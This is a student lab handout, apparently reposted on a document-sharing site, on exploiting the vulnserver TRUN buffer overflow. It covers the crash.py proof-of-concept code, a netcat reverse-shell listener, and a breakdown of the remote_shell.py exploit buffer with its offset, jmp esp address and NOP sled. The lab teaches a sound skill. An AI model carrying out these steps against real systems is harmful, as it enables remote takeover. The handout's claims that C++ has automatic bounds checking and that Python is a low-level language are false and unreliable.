Lab-2 Buffer Overflow In this lab, you will gain insight

Lab-2: Buffer Overflow
In this lab, you will gain insights into the buffer overflow
vulnerability. You will analyze a vulnerable program by using a
debugger to exploit the vulnerability.
Buffer overflow vulnerability is the root cause of the many
vulnerabilities in software products; in this regard, it is a
significant security problem today.
There are many different types of buffer overflow. They have
been categorized under 9 CWEs in
https://cwe.mitre.org/data/definitions/1218.html.
Poor coding practices cause buffer overflow vulnerability. It is
the fact that strongly typed programming languages, such as
Java, C++, have automatic bound checks and memory
management. The real problem comes with low-level
programming languages. For instance, C and Python are such
programming languages. They are not strongly typed languages;
however, they are used for their advantages, flexibility, no
performance issues, coders are free to code. Programmers
should always check the inputs in their programs and use
functions that do bounds checking if they are using low-level
programming languages.
The topology of the Lab-2 is quite simple. You will be using
both computers. It is recommended to undock both virtual
machines to prevent going back and forth between the
computers.
Windows 7 Target has an executable program named
vulnserver. It is written in C. This network program
listens on port 9999 once executed, meaning that Windows 7
Target will start listening on TCP 9999.
There are three Python codes on Kali Linux. All of the codes

create a TCP 9999 connection on Windows 7 Target. The first
code sends some bytes to the vulnserver service (nocrash.py).
The second code crashes the vulnserver by overflowing the
buffer of the service (crash.py). This code is also named proof
of concept. The third code gets a remote shell from the
Windows 7 Target by exploiting the buffer overflow
vulnerability (remote_shell.py). The exploitation code
(remote_shell.py) is developed by debugging the vulnserver
program and by changing the proof of concept code as needed.
Section-1: Explore the Vulnerable Network Service
In this section, you will explore the remote service you will
start on Windows 7 Target computer.
1. Log in to the Netlab environment.
2. Open
Windows 7 Target from the list of computers on the top
menu bar.
Click on
Windows 7 Target on the top menu bar, and click
undock.
3. At
Windows 7 Target, open a command window by
clicking
the cmd icon on the taskbar.
4. Type this command in the command window and hit enter:
netstat -a -n -p TCP
This command shows the list of open TCP ports on Windows 7
Target computer. The first option (a) shows all established
connections and listening ports. The second option (n) makes
netstat display IP addresses and port numbers instead of
hostnames and service names; people usually use this for faster
command results. The third option shows only open TCP ports.
Have a look at the list of the open ports on the list.

5. In the command window, type
cd Desktop to change the directory to the Desktop
folder.
6. Type
cd Vulnerable_Service to change the directory to the
Vulnerable_Service folder.
After typing
cd, pressing
space, and
“v” character, you can press
Tab on your keyboard to auto-type the directory name.
7. Type
dir inside the
Vulnerable_Service folder and to see the list of files.
You should see an executable file named
vulnserver.exe. You will not use the other files in the
folder. vulnserver.exe is a tiny program developed in C for
educational purposes. It has buffer overflow vulnerability,
which is placed knowingly by security researchers. When you
run vulnserver.exe, it will open TCP 9999 port the server.
8. Type
vulnserver and hit enter in the command window.
Once you run this program, you will see a short security
warning and a prompt “Waiting for client connections …”
9. Open another command window in Windows 7 Target
machine.
10. Type
netstat -a -n -p TCP once again.
Can you see the difference compared to the previous netstat

command?
11. Type
netstat -a -n -p TCP -b now.
“b” switch shows the executable name involved in opening the
port. Confirm that you saw the vulnserver.exe
12. Now it is time to legitimately use the vulnserver service
provided by Windows 7 Target computer.
13. Select
Kali Linux from the list of computers in the Netlab
environment.
Click on
Kali Linux on the top menu bar, and click
undock. Place the undocked Windows 7 Target window
next to the Kali Linux window.
14. Type the password “toor” for the root user.
15. Open a terminal window by clicking the terminal icon on the
menu bar at the bottom.
16. Type
nc 192.168.2.13 9999 in the terminal window.
You should see this message “Welcome to Vulnerable Server!
Enter HELP for help.” in the Kali Linux terminal window.
Note: If you don’t see this message, try these: wait for 10
seconds. If you don’t see the message above, hit Enter several
times. If it still does not help, press CTRL-C to exit and retype
nc 192.168.2.13 9999
You should also see this message “Received a client connection
from 192.168.2.10:XXXXX” in the Windows 7 cmd window
where you run vulnserver.exe
nc is the abbreviation of netcat. Netcat is a versatile utility used
for various purposes, including connecting to a remote service
as with our case or opening a port on the local system. Netcat is
more than connecting to the remote services and opening ports

on the local systems. You can refer to the Linux man page or
Internet forums for a more comprehensive feature set.
In this step, you opened a TCP connection to the 9999 port of
the Windows 7 Target machine.
17. In Kali Linux, type
HELP in the vulnserver service prompt and press enter.
vulnserver service is case-sensitive and accepts command with
capital letters only; therefore, "help" will not work. You should
type "HELP" by pressing the Shift button, not the CAPS lock.
You will see a list of commands that the vulnserver accepts.
Among these commands, the TRUN command is used to get a
string from the user.
18. In the vulnserver service prompt, type
TRUN some_text and hit enter.
You will see TRUN COMPLETE message.
19. Type
EXIT in the vulnserver service prompt to return to the
terminal window of Kali Linux.
20. Type
cd fuzzer in the terminal windows to change directory
to the fuzzer folder. (After this command, you will be in
/root/fuzzer/ folder)
21. There is a file named
nocrash.py in this folder—type
python nocrash.py in the terminal window.
nocrash.py opens a connection to TCP 9999 port at
192.168.2.13
, which is the service created by vulnserver, sends a
certain amount of string to the vulnserver service and closes the
connection. This small piece of code does not cause the
vulnserver application crash.

Take a screen capture of the Kali Linux terminal window where
you run the nocrash.py file.
In the next section, you will run another Python script to crash
the vulnserver service remotely.Section-2: Crash the Network
Service by Exploiting the Buffer Overflow Vulnerability
Think about this scenario: A company is using a network
service (vulnserver.exe) for the contractors. Contractors
remotely connect to this service and provide some data to the
company. You saw how this is done in the Section-1.
A cyber attacker discovers a buffer overflow vulnerability and
remotely exploit this vulnerability, and crashes the service.
Now, it is time to realize this scenario.
1. If you created a new reservation before Section-2, then select
Kali Linux and
undock it. Type in “toor” as the password of the root.
Open a terminal window. Type
cd fuzzer to change the folder to the fuzzer.
Place the undocked Windows 7 Target window next to the
undocked Kali Linux window.
If you didn’t create a new reservation, skip this step and
continue with the next step.
2. In the Kali Linux terminal window, type
python crash.py and hit Enter.
After this command, notice the crash message shown in
Windows 7 Target computer.
3. In Windows 7 Target computer, click the “View problem
details” at the message box.
Check the Fault Module Name is StackHash_xxxx, which
indicates that the crash is associated with the Stack (Stack is a
kind of buffer)
Take a screen capture of the Windows 7 Target desktop showing
the crash message window.

4. In Windows 7 Target computer, click “Close the program”.
The program will be terminated. You will observe this in the
cmd window where vulnserver.exe was running. The program
will stop working, and the windows command prompt will
appear. Type
netstat -a -n -p TCP and
ensure that TCP port 9999 is not open anymore.
5. Switch to Kali Linux, review both nocrash.py and crash.py
codes by using nano editor.
In the terminal window, type
nano filename to open the desired file. To exit from the
nano editor, press CTRL-X.
Please explain what crash.py does by using the template below.
host = "192.168.2.13"
#explanation:
port = 9999
#explanation:
junk = "A"*5000
#explanation:
buffer = "TRUN ." + junk
#explanation:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#explanation:
s.connect((host,port))
#explanation:
print(s.recv(1024))
#explanation:
s.send(buffer)
#explanation:
s.close()
#explanation:

Why crash.py causes a crash in the vulnserver network service?
Which line of the code overflows the buffer?Section-3: Get a
Remote Shell from the Server by Exploiting the Buffer
Overflow Vulnerability of the Network Service
1. If you created a new reservation before Section-3, then select
Kali Linux and
undock it. Type in “toor” as the password of the root.
Open a terminal window. Type
cd fuzzer to change the folder to the fuzzer.
Select Windows 7 Target and undock it. Place the undocked
Windows 7 Target window next to the undocked Kali Linux
window. Open a
cmd window in Windows 7 Target, type
cd Desktop, and
cd Vulnerable_Service to change the directory to the
Vulnerable_Service folder.
If you didn’t create a new reservation, skip this step and
continue with the next step.
2. In Windows 7 Target machine, type vulnserver in the cmd
prompt to run the service once again. (The service was crashed
in Section-2)
3. In Kali Linux, open a new terminal window by right-clicking
on the terminal window on the taskbar and clicking "Open a
New Tab".
4. In the new tab, type
nc -lvp 443 and
press enter to create a listener.
You will see the "listening on [any] 443 …" message on the
screen.
In this case, you are using netcat utility in listen mode. “l”
switch indicates that nc will be in listening mode. "v" switch
means verbose; netcat shows detailed message related to the

connection status. "p" switch indicates which local port number
will be used in listen mode. The above command opens the port
443 on Kali Linux, and Kali Linux starts to listen on this port.
5. Switch to the previous tab where you are in the
fuzzer folder.
6. Type
python remote_shell.py and press enter.
This python code has a long payload contrary to the other
python codes you run in Section-1 and Section-2. Python code
connects to TCP 9999 port on Windows 7 Target machine like
the other codes; however, it exploits the buffer overflow
vulnerability to gain a remote shell from Windows 7 Target
computer.
7. Switch to netcat terminal windows in Kali Linux to see the
remote shell.
8. Type
whoami and
press enter. You should be able to see
win7-targetms user, who is currently logged on user on
Windows 7 Target.
Take a screen capture of the Kali Linux terminal window where
you can see the remote shell and the name of the currently
logged on user in it.
Review the remote_shell.py by typing
nano remote_shell.py in Kali Linux (within the fuzzer
folder). Alternatively, you can also open the
remote_shell.py file on the desktop of the Windows 7
Target.
There are two differences between

crash.py and
remote_shell.py:
The first difference is the
buf variable; this is a new variable that did not exist in
crash.py.
The second difference is the updated
junk variable.
Let’s start with
the buf variable:
The
buf variable contains a specially crafted, 351-byte long
payload. This payload contains:
1) A reverse TCP shell
2) The IP address of the Kali Linux
3) The port number (443) to connect to the Kali Linux
All this information is encoded, and you should have seen the
encoded string once you opened the remote_shell.py.
After python code runs on Kali Linux, it opens a connection to
Windows 7 Target; the same code sends this payload to the
vulnserver service over this connection. Buffer overflow
vulnerability causes vulnserver to accept all of the inputs from
the code and let the operating system (Windows 7 Target) run
the code in the payload. As shown above, the code in payload
runs a TCP shellcode, and this shellcode connects to 443 port
on Kali Linux.
Let’s talk about the updated
junk variable.
junk = "A"*2006 + "xAFx11x50x62" + "x90"*16 + buf +

"C"*(5000-2006-4-16-351)
In the crash.py (this is also called proof of concept code), code
was sending the “A” character 5000 times (5000 bytes). In
remote_shell.py, the code is sending a specially crafted package
that causes gaining a remote shell. There are five sections of the
crafted junk variable. The following list of data should be sent
in the specified order:
1)
"A"*2006 >>> 2006 times A character: 2006 is not a
random number. This is the crash point. The vulnserver crashes
if it gets an input -via TRUN parameter- that is more than or
equal to 2006 characters. This has been determined after
examining the behavior of the vulnserver by using a debugger.
2)
xAFx11x50x62: Identifying the crash point is very
important. Because the operating system has the EIP register
right after this crash point, EIP stands for Extended Instruction
Pointer. This register contains the address of the next
instruction to be executed. Your goal is to write the address of
the instruction that will run the payload (shellcode).
xAFx11x50x62 is the address of the instruction that will run
the payload in our case. More specifically, this address has a
special instruction; “jmp esp". This instruction is critical in
exploiting the buffer overflow vulnerability to get a shell
because jmp esp points to the address where the payload is
stored in the memory. To summarize, at the crash point, the EIP
register is given xAFx11x50x62; so that the instruction jmp
esp will run next to execute shellcode.
3) "x90"*16 >>> 16 times x90: x90 means no operation (NOP).
You place a sequence of 16 no operation instructions here. You
can also change the numbers to 20 instead of 16, which will not
change the python code's behavior. This is done to ensure that
jump esp finds the whole payload (nothing is missing with

payload). Because we don’t know for certain at which address
the payload will start in the buffer due to random changes in the
memory. The NOP is a way to deal with this uncertainty. jmp
esp will jump to the beginning part of NOP instructions; it will
do nothing 16 times and find the payload and run it. If you don't
place x90"*16, jmp esp will go to a place where some parts of
payload might be missing.
4)
buf: This is the payload; already talked about this.
5)
"C"*(5000-2006-4-16-351) >>> 2623 times C character:
Specially crafted package for the remote shell has been created
starting with the crash script in which 5000 times A characters
had been sent; therefore, we add 2623 times C character to send
a total number 5000 characters to the remote service. It does not
matter whether C, A, or any other character; the critical point is
that it should end up with 5000 characters. You found 2623 by
subtracting the number of bytes of the previous sections from
5000. Remember that 2006 bytes to reach out to the crash point,
4 bytes for the next instruction address, 16 bytes for NOP, 351
bytes for the payload size.
Weekly Learning and Reflection
In two to three paragraphs (i.e., sentences, not bullet lists) using
APA style citations if needed, summarize, and interact with the
content covered in this lab. Summarize what you did as an
attacker, what kind of vulnerabilities did you exploit, what
might have prevented these attacks. List the attackers and all of
the targets in your summary. You can provide topologies,
sketches, graphics if you want. In particular, highlight what
surprised, enlightened, or otherwise engaged you. You should
think and write critically, not just about what was presented but
also what you have learned through the session. You can ask
questions for the things you're confused about. Questions asked
here will be summarized and answered anonymously in the next
class.

Lab-2 Buffer Overflow In this lab, you will gain insight

More Related Content

Similar to Lab-2 Buffer Overflow In this lab, you will gain insight (20)

More from simisterchristen (20)

Recently uploaded (20)

Lab-2 Buffer Overflow In this lab, you will gain insight